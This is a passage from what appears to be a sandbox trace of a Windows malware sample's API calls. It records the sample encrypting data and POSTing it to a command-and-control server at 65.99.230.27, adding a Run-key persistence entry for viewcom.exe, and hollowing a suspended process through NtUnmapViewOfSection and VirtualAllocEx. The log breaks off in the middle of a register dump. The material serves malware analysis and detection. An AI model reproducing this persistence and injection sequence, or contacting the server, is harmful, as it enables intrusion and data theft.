[0077.696] VirtualAlloc (lpAddress=0x0, dwSize=0x61000, flAllocationType=0x3000, flProtect=0x40) returned 0x1a30000
[0077.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x177f33, lpParameter=0x1a1148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
[0077.704] VirtualAlloc (lpAddress=0x0, dwSize=0x1e000, flAllocationType=0x3000, flProtect=0x40) returned 0x1aa0000
[0077.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x177f33, lpParameter=0x1a1628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
[0077.711] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x3000, flProtect=0x40) returned 0x1300000
[0077.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x177f33, lpParameter=0x1a1208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
[0077.903] CryptDuplicateHash (in: hHash=0x1a6418, pdwReserved=0x0, dwFlags=0x0, phHash=0x182fc4c | out: phHash=0x182fc4c) returned 1
[0077.903] CryptEncrypt (in: hKey=0x1a6148, hHash=0x1b3610, Final=1, dwFlags=0x0, pbData=0x1b639c*, pdwDataLen=0x182fc34*=0x1db, dwBufLen=0x1e0 | out: pbData=0x1b639c*, pdwDataLen=0x182fc34*=0x1e0) returned 1
[0077.903] CryptExportKey (in: hKey=0x1a6148, hExpKey=0x1a5ff0, dwBlobType=0x1, dwFlags=0x40, pbData=0x182fbc8, pdwDataLen=0x182fc38 | out: pbData=0x182fbc8*, pdwDataLen=0x182fc38*=0x6c) returned 1
[0077.903] CryptGetHashParam (in: hHash=0x1b3610, dwParam=0x2, pbData=0x1b6388, pdwDataLen=0x182fc38, dwFlags=0x0 | out: pbData=0x1b6388, pdwDataLen=0x182fc38) returned 1
[0077.903] CryptDestroyHash (hHash=0x1b3610) returned 1
[0077.903] _snwprintf (in: _Dest=0x182fc60, _Count=0x40, _Format="%u.%u.%u.%u" | out: _Dest="65.99.230.27") returned 12
[0077.903] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x182fa3c, cbSize=0x182fc3c | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x182fc3c) returned 0x0
[0077.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x182fa3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 172
[0077.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x182fa3c, cbMultiByte=-1, lpWideCharStr=0x1dde58, cchWideChar=172 | out: lpWideCharStr="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 172
[0077.903] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0077.924] InternetConnectW (hInternet=0xcc0004, lpszServerName="65.99.230.27", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0077.924] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c
[0077.924] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x1b6328*, dwOptionalLength=0x254 | out: lpOptional=0x1b6328*) returned 1
[0078.648] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x182fd28, lpdwBufferLength=0x182fc48, lpdwIndex=0x0 | out: lpBuffer=0x182fd28*, lpdwBufferLength=0x182fc48*=0x4, lpdwIndex=0x0) returned 1
[0078.648] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x182fc38, lpdwBufferLength=0x182fc40, lpdwIndex=0x0 | out: lpBuffer=0x182fc38*, lpdwBufferLength=0x182fc40*=0x4, lpdwIndex=0x0) returned 1
[0078.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1d09a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x182fc3c | out: lpBuffer=0x1d09a0*, lpdwNumberOfBytesRead=0x182fc3c*=0x94) returned 1
[0078.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1d0a34, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x182fc3c | out: lpBuffer=0x1d0a34*, lpdwNumberOfBytesRead=0x182fc3c*=0x0) returned 1
[0078.648] CryptDuplicateHash (in: hHash=0x1a6418, pdwReserved=0x0, dwFlags=0x0, phHash=0x182fc40 | out: phHash=0x182fc40) returned 1
[0078.649] CryptDecrypt (in: hKey=0x1a6148, hHash=0x1b3610, Final=1, dwFlags=0x0, pbData=0x1b67d0, pdwDataLen=0x182fd38 | out: pbData=0x1b67d0, pdwDataLen=0x182fd38) returned 1
[0078.649] CryptVerifySignatureW (hHash=0x1b3610, pbSignature=0x1d09a0, dwSigLen=0x60, hPubKey=0x1a5ff0, szDescription=0x0, dwFlags=0x0) returned 1
[0078.649] CryptDestroyHash (hHash=0x1b3610) returned 1
[0078.649] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0078.649] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0078.649] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0078.649] _snwprintf (in: _Dest=0x182fb44, _Count=0x104, _Format="\"%s\"" | out: _Dest="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"") returned 65
[0078.649] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x182fd4c, lpdwDisposition=0x0 | out: phkResult=0x182fd4c*=0x3c4, lpdwDisposition=0x0) returned 0x0
[0078.649] RegSetValueExW (in: hKey=0x3c4, lpValueName="viewcom", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"", cbData=0x84 | out: lpData="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"") returned 0x0
[0078.649] RegCloseKey (hKey=0x3c4) returned 0x0
[0078.650] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0x0) returned 0x102
[0078.650] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102
[0078.650] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x102
[0078.650] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x0) returned 0x102
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.650] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.651] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.652] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.653] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.654] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.655] GetLastError () returned 0x0
[0078.656] GetLastError () returned 0x0
[0078.656] GetLastError () returned 0x0
[0079.121] GetTickCount () returned 0x1a3cd
[0079.121] GetTickCount () returned 0x1a3cd
[0079.121] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x182fb58, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.121] _snwprintf (in: _Dest=0x182f950, _Count=0x104, _Format="\"%s\" \"%s\"" | out: _Dest="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\"") returned 91
[0079.121] VirtualAlloc (lpAddress=0x0, dwSize=0x19000, flAllocationType=0x3000, flProtect=0x4) returned 0x1b50000
[0079.128] WTSGetActiveConsoleSessionId () returned 0x1
[0079.128] WTSQueryUserToken (SessionId=0x1, phToken=0x182fd7c*=0x1aa9100) returned 0
[0079.128] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x182f8e8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x182fd64 | out: lpCommandLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\"", lpProcessInformation=0x182fd64*(hProcess=0x3c0, hThread=0x3c4, dwProcessId=0xc80, dwThreadId=0xc84)) returned 1
[0079.130] VirtualQueryEx (in: hProcess=0x3c0, lpAddress=0x400000, lpBuffer=0x182f90c, dwLength=0x1c | out: lpBuffer=0x182f90c*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c
[0079.130] VirtualProtectEx (in: hProcess=0x3c0, lpAddress=0x400000, dwSize=0x19000, flNewProtect=0x40, lpflOldProtect=0x182f928 | out: lpflOldProtect=0x182f928*=0xa6579798) returned 0
[0079.130] NtUnmapViewOfSection (ProcessHandle=0x3c0, BaseAddress=0x400000) returned 0x0
[0079.130] VirtualAllocEx (hProcess=0x3c0, lpAddress=0x400000, dwSize=0x19000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
[0079.138] GetThreadContext (in: hThread=0x3c4, lpContext=0x182f640 | out: lpContext=0x182f640*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7ffda000, Edx=0x0, Ecx=0x0, Eax=0x401390, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, 